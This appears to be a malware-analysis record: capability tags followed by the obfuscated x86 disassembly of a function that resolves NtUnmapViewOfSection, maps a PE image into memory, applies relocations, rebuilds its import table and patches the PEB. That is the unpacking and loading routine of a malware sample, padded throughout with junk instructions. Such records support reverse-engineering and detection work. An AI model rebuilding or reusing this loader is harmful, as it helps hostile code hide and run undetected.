Function at 0x408000
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Get process filename
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header
Rebuild import table
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1bc
push ebx
push esi
push edi
or edi, 0x6f
sbb esi, 0xdc
imul edi
imul esi
inc esi
mov edi, 0x56
rcr eax, 0xdd
imul esi
neg eax
bswap ebx
sbb edi, 0xf1
inc edx
rol ebx, 0x15
add edx, 0x56
rol edx, 0xc8
not edi
bswap eax
sbb edx, 0xa3
sbb edx, 0xfd
mov eax, 0x29
add ebx, 0x2d
rol edi, 0xa0
and eax, 0xb
inc edi
add eax, 0xf2
dec eax
rcr edi, 0xd4
rcr eax, 0x3a
not edi
bswap ebx
rcl ebx, 0x60
dec ebx
add ebx, 0xaf
imul eax
not esi
ror ebx, 0x4b
imul edx
inc eax
and eax, 0xd0
bswap eax
sbb edi, 0x96
and esi, 0x91
sub esi, 9
neg edi
imul esi
inc edi
neg edi
and esi, 0x34
neg edx
sub edi, 0x87
ror eax, 0xcb
sbb eax, 8
inc edx
add edi, 0xe7
rol edi, 0x1d
mov edi, 0x80
bswap ebx
not edx
rcr edx, 0x31
not ebx
and edi, 0xd8
inc edi
and esi, 0x9e
sub esi, 0xc2
sub esi, 0x26
not ebx
imul edx
rcl eax, 0xf6
rcl ebx, 0xcc
rcr ebx, 0x88
ror edi, 0x6d
rcr ebx, 0x6e
rol edx, 0x48
ror edx, 0xc
neg esi
inc eax
dec edx
dec edx
inc eax
sub edi, 0xc0
mov edi, 0x88
bswap ebx
inc edx
or edx, 0x5a
sbb edx, 0x12
bswap edi
add esi, 0x68
bswap edx
dec edi
or esi, 0xdf
inc ebx
bswap edi
sub edi, 0x51
dec edi
sub edx, 0x98
neg ebx
rol edx, 0x9a
sbb edx, 0xd5
add esi, 0x5e
rcl eax, 0x4e
inc eax
not edx
bswap ebx
dec esi
inc edi
not edx
or edi, 0xf6
inc edx
neg ebx
inc ebx
rcr edx, 0x48
mov esi, 0x2e
dec ebx
dec esi
or eax, 0xbd
sbb eax, 0xed
imul esi
neg edx
or edx, 0x8a
rcr eax, 0x4a
rcl esi, 0x2c
rol edx, 0xe2
dec ebx
or esi, 0x8f
inc edx
add ebx, 0x24
imul edi
neg ebx
add eax, 0x6b
inc edi
rol eax, 0x75
ror ebx, 0x8a
and eax, 0xe1
and edi, 0xbe
or eax, 0xa1
not edx
neg eax
not esi
mov edi, 0x5e
sbb edi, 0x58
mov eax, 0x12
neg edi
ror edx, 0xf
inc edi
rol edx, 0xfa
add esi, 0x8c
neg edx
ror eax, 0x88
sbb esi, 3
not eax
bswap eax
ror ebx, 0xc6
not ebx
inc esi
dec esi
add edi, 0x33
ror eax, 0xb7
and ebx, 5
imul eax
bswap esi
dec esi
not eax
and esi, 0x31
add edi, 0x72
sbb eax, 0x96
rcl eax, 0x87
sub edx, 0xa5
neg edx
sub edx, 0xcf
sub esi, 0x19
rcl edi, 0x2f
sub edi, 0xf9
imul esi
or ebx, 0x41
not esi
imul ebx
ror eax, 0x6e
rcl ebx, 0x9b
and eax, 0x40
add edx, 0x2f
bswap ebx
dec esi
rcl edi, 0xf
add esi, 0x60
neg ebx
sub ebx, 0x59
rcr edi, 0xaa
imul eax
neg edx
neg ebx
sub ebx, 0x96
rol eax, 0x11
add eax, 0x65
add edi, 0xf5
rcr eax, 0xc6
inc edx
add ebx, 0xe3
rol eax, 0x5e
sub ebx, 0x2a
rol eax, 0x56
push 0x28e00
push 0x40d008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x40d008
inc ebx
imul edx
not edx
imul edi
mov edi, 0xe2
imul eax
and ebx, 0xc9
inc edx
bswap eax
bswap ebx
dec esi
dec eax
bswap edx
rcl eax, 0x46
not edi
sub ebx, 0xa8
mov edi, 0xa6
rol ebx, 0x76
add edx, 0xe9
rcr ebx, 0x80
or eax, 0x22
add esi, 0xc9
dec ebx
dec edi
inc edi
rcl ebx, 0x4b
imul esi
mov esi, 0x14
sub esi, 0xd5
inc esi
neg eax
inc edx
not edx
rcl esi, 0x78
and ebx, 0xb5
imul ebx
and edx, 0x90
imul edi
add edi, 0xe3
dec esi
imul edi
rol eax, 0xfd
and esi, 0x65
ror eax, 0x77
bswap esi
add edx, 0xc6
add eax, 0x35
and eax, 0x19
neg ebx
bswap esi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x88], edx
mov eax, dword [ebp - 0x88]
cmp dword [eax], 0x4550
je 0x408335
mov eax, 1
jmp 0x409a30
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jne 0x408362
xor eax, eax
jmp 0x409a30
mov ecx, dword [ebp - 0xf8]
mov dword [0x436a60], ecx
xor edx, edx
mov dword [ebp - 0x174], edx
mov dword [ebp - 0x170], edx
mov dword [ebp - 0x16c], edx
mov dword [ebp - 0x168], edx
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0x170]
mov dword [ebp - 0xf0], ecx
mov edx, dword [ebp - 0x16c]
mov dword [ebp - 0xec], edx
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0xe8], eax
push 0x44
push 0
lea ecx, [ebp - 0x1b8]
push ecx
call fcn.004015c0
add esp, 0xc
mov ecx, 0x11
lea esi, [ebp - 0x1b8]
lea edi, [ebp - 0xd8]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xd8], 0x44
mov edx, dword [ebp - 0x88]
mov eax, dword [edx + 0xa0]
mov ecx, dword [edx + 0xa4]
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], ecx
cmp dword [ebp - 0x110], 0
je 0x40841b
mov dword [ebp - 0x1bc], 0
jmp 0x40842a
mov edx, dword [ebp - 0x88]
mov eax, dword [edx + 0x34]
mov dword [ebp - 0x1bc], eax
push 4
push 0x3000
mov ecx, dword [ebp - 0x88]
mov edx, dword [ecx + 0x50]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x110], 0
jne 0x408472
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
cmp edx, dword [ecx + 0x34]
je 0x408472
mov eax, 2
jmp 0x409a30
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [0x436a60]
imul ebx
imul esi
sub edi, 0xa6
neg ebx
not edx
and edi, 3
imul edx
rcl ebx, 0xc4
not edx
inc edi
or eax, 0x97
dec ebx
inc ebx
neg edi
not eax
bswap edi
rcl ebx, 0xf3
not esi
inc eax
not ebx
mov esi, 0xc3
add edx, 0x66
bswap esi
not esi
rcr ebx, 0x74
and eax, 0x74
inc eax
or edx, 0x20
rcr esi, 0x33
bswap esi
and ebx, 0xd2
bswap edi
inc eax
neg edi
bswap esi
inc edi
not esi
ror edi, 0xfd
imul esi
mov ebx, 0x6d
rol eax, 0x66
bswap ebx
dec edi
neg esi
ror edx, 0x72
not edx
mov edi, 0xa4
not edx
inc edi
ror edi, 0x7b
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x84]
push eax
call fcn.00401250
add esp, 0xc
add edi, 0x31
or ebx, 0xe7
not edx
not eax
add eax, 0x1e
dec edi
not edx
add ebx, 0x64
or esi, 0x52
ror esi, 0xe0
not esi
ror edi, 0xd7
sbb edx, 0x5d
or esi, 0xee
inc eax
inc edx
imul ebx
neg edx
ror edx, 0x6b
inc eax
not edi
mov eax, 0xb2
sbb eax, 0x51
inc ebx
dec eax
rol edx, 0x28
rcl edi, 0x68
sub edi, 0x9d
imul edi
neg ebx
sbb eax, 0x6f
and edi, 0x1b
not eax
bswap eax
dec edi
or edi, 0xd8
or esi, 0xe9
dec edx
bswap edi
mov edx, 0x8a
ror eax, 0xf3
dec ebx
sub edx, 0x20
ror esi, 0x10
sub ebx, 0x95
or edi, 0xa2
dec esi
dec esi
or esi, 0xac
mov ebx, 0xf2
neg eax
bswap eax
imul ebx
imul ebx
sbb ebx, 0x24
not eax
dec ebx
add esi, 0x78
dec edx
imul edx
sub ebx, 0x9f
sbb ebx, 0x75
sub edi, 0x8e
neg edx
or edx, 0x28
rcl edi, 0xa2
bswap ebx
bswap eax
add eax, 0xdc
rcl edi, 0x93
or edi, 0x8b
sbb ebx, 0xe7
rcl esi, 0x43
rcl eax, 0x73
dec edx
not edi
dec edi
imul esi
inc edx
neg edi
rcl esi, 0x80
add esi, 0x5f
inc edi
neg ebx
imul esi
neg ebx
bswap ebx
rcl eax, 6
bswap ebx
sbb eax, 8
inc edx
add eax, 0x83
add eax, 0x7c
rcl edi, 0x17
inc eax
dec edi
rcr edi, 0x76
dec ebx
rcr edi, 0x42
neg esi
add edi, 0xf8
mov edx, 0x11
not eax
bswap eax
not edx
or edi, 0xa7
not esi
inc edx
neg edx
ror ebx, 0x44
mov eax, 0x97
bswap ebx
imul ebx
not ebx
rcr eax, 0x84
ror esi, 0x68
imul edi
rcr edi, 0x15
imul eax
not ebx
not esi
sub edx, 0xe3
rcr edi, 0xdb
ror esi, 0xb1
inc edx
mov ebx, 0xcc
dec edi
mov edx, 0xdd
rcl ebx, 0x99
add edi, 0x89
inc esi
dec edi
dec ebx
add ebx, 0xff
sbb eax, 0x27
imul eax
mov ebx, 0x68
neg eax
neg eax
not edi
add ebx, 0xbb
neg eax
and edx, 0x94
or esi, 0x31
bswap eax
rol edi, 0xc7
rcr eax, 2
sbb ebx, 0x9f
ror edx, 0x72
not edx
rcl ebx, 0xf2
or esi, 0x75
imul edi
bswap eax
bswap edx
sub ebx, 0xf6
not eax
ror esi, 0x2e
inc edi
inc esi
rcr edx, 8
not esi
dec ebx
neg edx
rcl edx, 0xd
neg ebx
sbb eax, 0xc5
imul edi
inc edi
dec edx
imul edx
sub edx, 8
inc ebx
neg esi
not esi
mov esi, 0xd8
mov edi, 0x44
not esi
not edi
dec ebx
not edi
or edi, 0x45
not edx
imul edi
imul edx
rcr eax, 0xb4
add edx, 0xc9
sbb edi, 0x76
rol esi, 0xbf
neg edx
dec esi
sub edx, 0xdf
dec edx
rcr ebx, 0x3f
or ebx, 0x56
and esi, 0xf
ror edi, 0xb0
rcr eax, 0x3a
neg eax
sbb edx, 0x81
imul edi
rol edx, 0xa4
rcr edi, 0x5b
rol eax, 0x85
ror ebx, 0x5f
add edi, 0x83
rcr ebx, 0x9c
imul edi
or esi, 0xf8
mov edi, 0x53
mov esi, 0x48
or edi, 0x5c
inc ebx
inc eax
rcr edx, 0x47
bswap esi
bswap edx
add edx, 9
mov edi, 0x35
rol edi, 0xbc
rol ebx, 0x85
sub edi, 0x27
mov edx, 0x3b
sbb eax, 0xeb
rcr eax, 0xaf
neg esi
rcl esi, 0x4d
add edx, 4
rcr ebx, 0x80
rcl ebx, 0x88
bswap ebx
not edi
rcl edx, 0x83
not edx
and edi, 0
or eax, 0x6d
dec edx
rol edx, 0xef
or edx, 0xcf
neg ebx
and ebx, 0x4a
inc eax
dec edx
rcr eax, 0x65
mov edi, 0xb0
inc ebx
not esi
dec edi
rcl eax, 0x4d
bswap edi
mov ecx, dword [ebp - 0x88]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x88]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0xe0], ecx
mov dword [ebp - 0x120], 0
jmp 0x40880e
mov edx, dword [ebp - 0x120]
add edx, 1
mov dword [ebp - 0x120], edx
mov eax, dword [ebp - 0x88]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x120], ecx
jge 0x40886f
mov edx, dword [ebp - 0x120]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0x120]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0x120]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401250
add esp, 0xc
jmp 0x4087ff
or esi, 0xef
dec edx
ror esi, 0x18
bswap ebx
not esi
rcl ebx, 0x38
dec edx
ror edx, 0x8e
not edi
imul edi
or eax, 0xe0
bswap eax
sub esi, 0xed
inc edx
not edx
mov eax, 0xa5
inc eax
sub edx, 0x44
ror edi, 0x3c
sbb edi, 0x70
bswap edx
neg edx
imul esi
sbb esi, 0xa
mov edx, 0xf4
mov eax, 0x94
rol edx, 0x9b
bswap eax
dec esi
dec edx
imul esi
mov eax, 0x11
rcr edi, 0x32
sbb edx, 0xa0
add esi, 0xbc
rol edx, 0x68
ror esi, 0xa3
rol ebx, 3
not ebx
mov edx, 0x35
ror esi, 0xb5
inc edx
rol edi, 0x19
rcl edi, 0x6f
bswap eax
rcr edx, 0x31
mov edi, 0x37
dec edx
add esi, 0xd2
bswap esi
mov edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
cmp eax, dword [edx + 0x34]
je 0x408a39
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0x128], edx
mov eax, dword [ebp - 0x84]
add eax, dword [ebp - 0x114]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x12c], 0
mov ecx, dword [ebp - 0x12c]
cmp ecx, dword [ebp - 0x110]
jae 0x408a39
mov edx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x84]
add eax, dword [edx]
mov dword [ebp - 0x130], eax
mov ecx, dword [ebp - 0x124]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0x134], edx
mov eax, dword [ebp - 0x124]
add eax, 8
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x13c], 0
jmp 0x4089ae
mov ecx, dword [ebp - 0x13c]
add ecx, 1
mov dword [ebp - 0x13c], ecx
mov edx, dword [ebp - 0x13c]
cmp edx, dword [ebp - 0x134]
jge 0x408a13
mov eax, dword [ebp - 0x138]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x408a02
mov edx, dword [ebp - 0x138]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0x130]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x138]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0x130]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0x138]
add ecx, 2
mov dword [ebp - 0x138], ecx
jmp 0x40899f
mov edx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x12c]
add eax, dword [edx + 4]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x138]
mov dword [ebp - 0x124], ecx
jmp 0x40894a
ror eax, 0x1c
imul edx
neg eax
dec ebx
dec ebx
imul edi
rcr eax, 0xd3
sbb eax, 0x26
sbb edi, 0xda
or eax, 0xd6
rcr edi, 0x67
not esi
dec edx
and edi, 0x86
neg esi
mov ebx, 0xc4
inc esi
rol esi, 0x85
dec edi
not edi
dec edx
sub esi, 0xca
dec ebx
not edx
inc eax
rcl esi, 0x9b
not ebx
not edi
rcr edx, 0xc1
mov ebx, 0xd5
imul edi
dec edx
rol ebx, 0xd
neg ebx
and edx, 0x9c
inc ebx
sub edi, 0xe9
sub ebx, 0x37
bswap ebx
not esi
or edi, 0x88
rcl eax, 0x5a
ror esi, 0xd0
mov ebx, 0x30
not edx
add edx, 0x89
neg esi
rcr edi, 0xc0
rol edx, 0xf6
rcr edi, 0xb1
mov edx, 0x65
or eax, 0x4e
not esi
bswap edx
not esi
inc edi
not edi
rcr edx, 0xbc
rcl esi, 0x89
and esi, 0x12
sub edi, 0x63
inc edi
or ebx, 0x20
sub edx, 0xc8
neg esi
inc esi
bswap edi
and edi, 0x3d
add edi, 0xa9
sbb ebx, 0x62
inc eax
sub esi, 0x4a
bswap edi
sub esi, 0xfb
neg edi
neg edx
add esi, 0xc1
bswap esi
dec eax
add esi, 0x55
and ebx, 0x24
or edx, 0x44
ror eax, 0xcd
and eax, 0x3f
bswap ebx
sbb ebx, 0xbe
not ebx
bswap edx
imul ebx
or edx, 0xe8
or ebx, 0x88
bswap esi
inc ebx
sbb edx, 0x4b
mov eax, 0x7a
mov edx, 0x4f
rcl edi, 0xa6
neg edx
or edx, 0xa3
neg esi
and esi, 0x86
rcl ebx, 0x27
imul edx
rcr edi, 0xd1
rol edi, 0x7f
sub edx, 0x69
rcl edx, 0xb0
and edi, 0xb0
rcl edx, 0x50
sbb edi, 7
imul edi
and edx, 0x4e
add edx, 0x12
dec edx
not ebx
sbb esi, 0xa5
rcl ebx, 0xd6
sbb esi, 0x1e
inc edx
bswap ebx
inc ebx
not esi
rol edi, 0x54
sbb edx, 0x3b
sbb ebx, 0xf7
neg eax
sub eax, 0xe2
add eax, 0xe3
imul esi
imul eax
sub edx, 0x75
dec edx
sbb ebx, 0xee
add esi, 0x45
ror esi, 0x8d
and edx, 6
sbb ebx, 0xe5
bswap ebx
sub edx, 0x59
imul edx
and edi, 0xb
rcr edx, 0
bswap edi
not edx
bswap esi
not esi
add ebx, 0x96
sub edi, 0xeb
rol esi, 0xa9
sub eax, 0xe3
mov edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x140], 0
jmp 0x408c31
mov ecx, dword [ebp - 0x140]
add ecx, 1
mov dword [ebp - 0x140], ecx
mov edx, dword [ebp - 0x140]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xe4]
cmp dword [eax + edx + 0x10], 0
je 0x408d6f
mov ecx, dword [ebp - 0x140]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xe4]
mov eax, dword [ebp - 0x84]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0x14c], eax
mov ecx, dword [ebp - 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
jne 0x408c88
jmp 0x408c22
mov edx, dword [ebp - 0x140]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0x148], ecx
mov dword [ebp - 0x150], 0
jmp 0x408cc2
mov edx, dword [ebp - 0x150]
add edx, 1
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x148]
cmp dword [ecx + eax*4], 0
je 0x408d6a
mov edx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x158], ecx
mov edx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x148]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0x144]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0
jne 0x408d3d
mov eax, dword [ebp - 0x158]
add eax, 2
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x154], eax
mov edx, dword [ebp - 0x140]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x154]
mov dword [ecx + edx*4], eax
jmp 0x408cb3
jmp 0x408c22
mov dword [ebp - 0x15c], 0
jmp 0x408d8a
mov ecx, dword [ebp - 0x15c]
add ecx, 1
mov dword [ebp - 0x15c], ecx
mov edx, dword [ebp - 0x88]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x15c], eax
jge 0x408ea8
mov dword [ebp - 0x160], 0x40
mov ecx, dword [ebp - 0x15c]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0xe0]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x164]
and ecx, 0x40000000
je 0x408df8
mov edx, dword [ebp - 0x164]
and edx, 0x80000000
je 0x408df8
mov eax, dword [ebp - 0x164]
and eax, 0x20000000
je 0x408df8
mov dword [ebp - 0x160], 0x40
jmp 0x408e5f
mov ecx, dword [ebp - 0x164]
and ecx, 0x40000000
je 0x408e20
mov edx, dword [ebp - 0x164]
and edx, 0x80000000
je 0x408e20
mov dword [ebp - 0x160], 4
jmp 0x408e5f
mov eax, dword [ebp - 0x164]
and eax, 0x40000000
je 0x408e47
mov ecx, dword [ebp - 0x164]
and ecx, 0x20000000
je 0x408e47
mov dword [ebp - 0x160], 0x20
jmp 0x408e5f
mov edx, dword [ebp - 0x164]
and edx, 0x40000000
je 0x408e5f
mov dword [ebp - 0x160], 2
lea eax, [ebp - 0x100]
push eax
mov ecx, dword [ebp - 0x160]
push ecx
mov edx, dword [ebp - 0x15c]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x15c]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401230
add esp, 0x10
jmp 0x408d7b
rol edi, 9
mov edi, 0x4d
and eax, 0x57
and ebx, 0xa9
sbb ebx, 0x97
sbb ebx, 0x2d
neg edi
or edi, 0x33
imul eax
ror ebx, 0xaa
and esi, 0x92
sbb edx, 0x72
inc ebx
sbb edi, 0x9a
sbb ebx, 0x1d
bswap edi
sub edx, 0x46
dec ebx
inc esi
ror edi, 0x6a
mov eax, 0x86
dec ebx
rol eax, 0x12
add ebx, 0x9f
imul eax
rcr esi, 0x1c
rol eax, 0xbd
dec edx
not ebx
bswap eax
ror ebx, 0xdf
inc esi
bswap edx
add edx, 0x26
bswap esi
imul edx
bswap ebx
dec edx
bswap ebx
rol eax, 0x18
neg ebx
sbb esi, 0x49
add edi, 0xdd
bswap esi
ror edx, 0xf8
dec esi
dec eax
ror edi, 0x18
bswap ebx
or edi, 0xf8
imul ebx
imul edi
dec edi
sub edi, 0xb6
not esi
rcl edi, 0xe1
add ebx, 0xa7
add edx, 0x63
imul esi
imul edi
rol eax, 0x9c
dec ebx
and edi, 0xc0
bswap esi
bswap edi
rcl ebx, 0x84
rol eax, 0x8a
imul eax
neg ebx
or eax, 0xfd
neg edx
neg esi
dec eax
add ebx, 0x8b
and ebx, 9
not esi
not edx
inc esi
sub ebx, 0x23
neg eax
inc edi
sub edx, 0xfb
sub edx, 0x76
neg eax
rcr edx, 0xa
ror edx, 0x21
sub edx, 0xf3
not ebx
not edi
rol esi, 0xf3
rol ebx, 0x7d
sbb ebx, 0xac
and esi, 0x1e
ror edi, 0x48
imul edx
and edx, 0x2b
neg edi
sbb edx, 0xc7
neg edx
sub ebx, 0x2b
sbb ebx, 0xaf
add ebx, 0x4d
dec eax
rol edx, 0xcf
add esi, 0x60
rcr edx, 0x4f
and edx, 0x13
rcl esi, 0xc4
inc eax
not edx
add ebx, 0xfd
sub ebx, 0xf1
bswap eax
neg esi
or edx, 0x4b
or edi, 0x8d
add edi, 0xad
rcl edi, 0x26
sbb edi, 0x7e
mov edx, 0x86
and edi, 0xbe
ror ebx, 0x4f
not edi
bswap ebx
or edx, 0x6d
rcl eax, 4
not eax
not edx
or eax, 0xac
imul esi
or ebx, 0x33
add edx, 0x91
not ebx
bswap edx
rcl edx, 0x61
dec edi
rcr edi, 0xf1
mov ebx, 0xa4
dec edx
not edx
imul ebx
dec edi
sub edi, 0x2c
not edx
and edx, 0xe3
ror edx, 0x7f
bswap ebx
sbb eax, 0xf2
bswap ebx
rcr eax, 0xf3
mov edx, dword fs:[0x30]
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x8c]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0xdc], eax
neg edx
neg esi
rol edi, 0x9b
sbb edx, 0xba
mov edx, 0x33
rcl edx, 0x96
rcl esi, 0x44
rcl ebx, 0xbf
not eax
imul esi
rcr edi, 0x2e
or eax, 0x52
mov edx, 0x36
imul edx
mov esi, 0x1a
inc ebx
rcr ebx, 0x3b
or esi, 0x68
and eax, 0x76
sbb edi, 0x66
imul edi
or edx, 0x4d
inc ebx
dec edi
bswap edx
imul eax
rcl eax, 0xe9
rcr eax, 0xac
neg eax
ror esi, 0xa1
and ebx, 0x8d
and esi, 0x89
sbb edx, 0x6f
dec esi
or ebx, 0xf9
ror edx, 0xa2
rol ebx, 0x80
not edx
bswap eax
bswap esi
sbb eax, 8
bswap eax
inc esi
neg edi
imul edi
dec edi
ror edx, 0xdc
sbb eax, 0x8d
sub esi, 0xbe
or eax, 0x61
inc eax
add esi, 8
bswap eax
mov edx, 0xda
and edx, 0x54
imul eax
inc edx
imul edx
or ebx, 0x52
bswap esi
bswap edx
sbb edi, 0x2b
mov ebx, 0xcc
inc eax
inc ebx
and esi, 0xe2
inc edi
imul edi
imul ebx
dec eax
ror edx, 0x87
rcr esi, 0xc0
ror esi, 0x29
bswap edi
neg edx
not edi
and eax, 6
bswap edi
bswap edi
not eax
rcr edx, 0x40
not edx
bswap ebx
rcr edi, 0x68
ror edx, 0x41
ror edi, 0xe9
imul edx
imul edx
inc esi
bswap ebx
inc esi
bswap edx
rcr edx, 0xcd
rol esi, 0xed
not esi
rcr ebx, 0xf
rcl eax, 0x24
bswap ebx
add edi, 0x61
ror esi, 0xc0
mov edi, 0xca
or esi, 0xe6
sbb edx, 0xe0
rcr edx, 0x6b
inc esi
ror eax, 0x95
mov esi, 0x55
rcl ebx, 0x9d
rcl edi, 0x45
rol edx, 0x41
neg ebx
inc esi
rcl eax, 0x9b
neg ebx
dec edi
rcr eax, 0xf6
not esi
dec eax
bswap edi
imul esi
mov esi, 0x95
imul eax
not edi
sbb ebx, 0x33
bswap eax
or ebx, 0x84
add esi, 0x57
neg edx
ror ebx, 0x46
rcl eax, 0x42
rol edi, 0x81
neg eax
or edi, 0x98
bswap edx
dec eax
dec esi
imul eax
sbb esi, 0xb9
sbb edx, 0xd7
dec edx
sub ebx, 0xcf
add edx, 0xff
neg ebx
sub eax, 0x4f
rcr ebx, 0xaa
sub edi, 0x90
sub edx, 0x94
mov eax, 0xf6
rcr ebx, 0xc0
add eax, 0xc3
mov ecx, dword [ebp - 0x8c]
mov edx, dword [ebp - 0x84]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x84]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0xdc]
add edx, 0x24
mov dword [ebp - 0xfc], edx
bswap edi
neg edi
ror edx, 0x99
dec esi
or esi, 0x59
bswap esi
imul esi
add esi, 0x21
imul ebx
sub ebx, 0x32
neg esi
bswap eax
inc ebx
imul eax
sbb eax, 0x5c
mov ebx, 0x2f
rcl eax, 0x69
add edi, 0x28
neg edx
mov ebx, 0xa7
sbb eax, 0x7e
inc edx
or ebx, 0x6f
bswap edi
sub edi, 0x32
rcr ebx, 0x31
rcr edi, 0x44
and eax, 0xb1
inc edx
bswap edx
inc ebx
ror ebx, 0x5d
sub eax, 0x6a
add eax, 0xa9
dec esi
dec eax
mov ebx, 0x13
add ebx, 0xa2
rcl edx, 0x5a
and esi, 0x98
imul eax
sub eax, 0x76
imul esi
inc eax
rol eax, 0xc9
imul eax
neg eax
or edx, 0xee
inc eax
sub esi, 0xe5
add eax, 0x9a
imul edi
rcl edx, 0xd9
add ebx, 0xfa
bswap edi
or eax, 0x1f
rcl esi, 0xfc
ror esi, 0x26
and esi, 0x6d
inc edx
neg eax
not ebx
mov eax, 5
not ebx
rcr edx, 0x79
or ebx, 0x97
neg edi
sub edx, 0xac
mov edx, 0x66
inc edi
neg esi
mov eax, 0x6c
and edi, 0xa2
neg edx
sub edi, 0x39
rcr edi, 0x6b
bswap edx
not edi
inc esi
or ebx, 0x5e
rcl eax, 0xaa
rol edi, 0xdb
add eax, 0x33
inc ebx
rol edx, 0x3d
rol esi, 0x2f
not ebx
imul edx
mov ebx, 0x74
rcl edi, 0x91
ror edx, 0xf4
not ebx
sbb esi, 0x86
rcr edi, 0xf0
add eax, 0x14
mov esi, 0xf1
inc eax
not eax
mov ebx, 0xbf
neg ebx
and edx, 0x92
inc edi
inc esi
rol edi, 0x2e
and eax, 0x59
inc esi
not ebx
neg eax
neg esi
bswap edi
inc edi
neg eax
inc edx
not esi
inc ebx
add edx, 0x86
and esi, 0xa
ror ebx, 0x43
rol eax, 0xe6
sbb edx, 0xc1
dec edx
mov edi, 0xb6
neg edx
sbb edi, 0xbc
mov edi, 0x92
neg edx
not esi
rol eax, 0xf5
not esi
sub edx, 0x20
add eax, 8
ror esi, 0x9f
neg edi
dec ebx
neg edx
or edx, 0xda
add eax, 0x76
rol eax, 0x95
rcl ebx, 0x98
neg edx
not eax
dec edi
dec edi
ror edx, 0x4a
rol edi, 0xcf
sbb eax, 0x56
rcl esi, 0xd8
or edx, 0xd8
